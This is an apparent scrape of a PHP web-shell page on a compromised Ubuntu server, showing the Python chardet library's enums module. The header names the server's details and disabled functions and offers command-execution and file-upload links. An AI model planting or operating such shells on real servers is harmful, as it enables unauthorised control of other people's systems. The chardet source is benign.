|
Server IP : 128.199.20.84 / Your IP : 172.69.17.59 Web Server : Apache/2.4.41 (Ubuntu) System : Linux competent-maruti 5.4.0-128-generic #144-Ubuntu SMP Tue Sep 20 11:00:04 UTC 2022 x86_64 User : www-data ( 33) PHP Version : 8.0.20 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF Directory (0755) : /lib/python3/dist-packages/chardet/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
"""
All of the Enums that are used throughout the chardet package.
:author: Dan Blanchard ([email protected])
"""
class InputState(object):
"""
This enum represents the different states a universal detector can be in.
"""
PURE_ASCII = 0
ESC_ASCII = 1
HIGH_BYTE = 2
class LanguageFilter(object):
"""
This enum represents the different language filters we can apply to a
``UniversalDetector``.
"""
CHINESE_SIMPLIFIED = 0x01
CHINESE_TRADITIONAL = 0x02
JAPANESE = 0x04
KOREAN = 0x08
NON_CJK = 0x10
ALL = 0x1F
CHINESE = CHINESE_SIMPLIFIED | CHINESE_TRADITIONAL
CJK = CHINESE | JAPANESE | KOREAN
class ProbingState(object):
"""
This enum represents the different states a prober can be in.
"""
DETECTING = 0
FOUND_IT = 1
NOT_ME = 2
class MachineState(object):
"""
This enum represents the different states a state machine can be in.
"""
START = 0
ERROR = 1
ITS_ME = 2
class SequenceLikelihood(object):
"""
This enum represents the likelihood of a character following the previous one.
"""
NEGATIVE = 0
UNLIKELY = 1
LIKELY = 2
POSITIVE = 3
@classmethod
def get_num_categories(cls):
""":returns: The number of likelihood categories in the enum."""
return 4
class CharacterCategory(object):
"""
This enum represents the different categories language models for
``SingleByteCharsetProber`` put characters into.
Anything less than CONTROL is considered a letter.
"""
UNDEFINED = 255
LINE_BREAK = 254
SYMBOL = 253
DIGIT = 252
CONTROL = 251